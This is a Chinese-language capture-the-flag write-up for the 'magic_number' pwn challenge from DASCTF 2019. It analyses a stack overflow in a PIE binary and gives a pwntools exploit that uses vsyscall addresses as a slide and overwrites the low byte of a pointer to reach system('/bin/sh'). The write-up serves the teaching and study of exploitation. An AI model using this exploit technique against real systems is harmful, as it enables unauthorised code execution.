dasctf 2019 八月赛 magic_number

0x00 文件信息

$ file ./magic_number
./magic_number: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4e0cdfde2283ac04ae3a9230a3bd00f31f04ce1f, stripped

$ checksec ./magic_number
[*] '/mnt/hgfs/CTF/\xe5\xae\x89\xe6\x81\x92\xe6\x9c\x88\xe8\xb5\x9b/das8/magic_number/magic_number'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

0x01 代码审计

程序很简单,存在栈溢出漏洞,且如果 v5 变量为 0x12345678,即可 get shell。但是该判断语句位于溢出之前,直接覆盖变量无法 get shell。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf; // [rsp+0h] [rbp-30h]
  int v5; // [rsp+2Ch] [rbp-4h]

  sub_9A0(a1, a2, a3);
  v5 = rand();
  if ( v5 == 0x12345678 )
    system("/bin/sh");
  puts("Your Input :");
  read(0, &buf, 0x100uLL);                      //  
  return 0LL;
}

漏洞分析

程序存在栈溢出漏洞,但是开启了 PIE 保护,无法直接跳转到 system(“/bin/sh”) 处 get shell。

进行调试,输入 “aaaaaaaa\n”,查看栈上的情况。

image-20200828100350293

发现 $sp+0x58 处存在 main 函数的函数序言指针,而 system(“/bin/sh”) 也在 main 函数中,十分靠近该地址,所以覆写该指针的最低字节,使其指向 system(“/bin/sh”),并在之前的栈上放入足够数量的 NOP(以 vsyscall 段中的代码充当),使程序一直滑到 $sp+0x58 处,即可 get shell。

0x02 EXP

from pwn import *
context.log_level = 'debug'

if args.G:
    io = remote('ip', host)
elif args.D:
    io = gdb.debug('./magic_number')
else:
    io = process('./magic_number')

# gdb.attach(io)

payload = 'B'*0x38 + p64(0xFFFFFFFFFF600800) + p64(0xFFFFFFFFFF600800) + p64(0xFFFFFFFFFF600800) + \
    p64(0xFFFFFFFFFF600800) + '\xA8'
io.sendafter('Your Input :\n',payload)

# gdb.attach(io)

io.interactive()

0x03 参考资料

2019-2020 @lukbash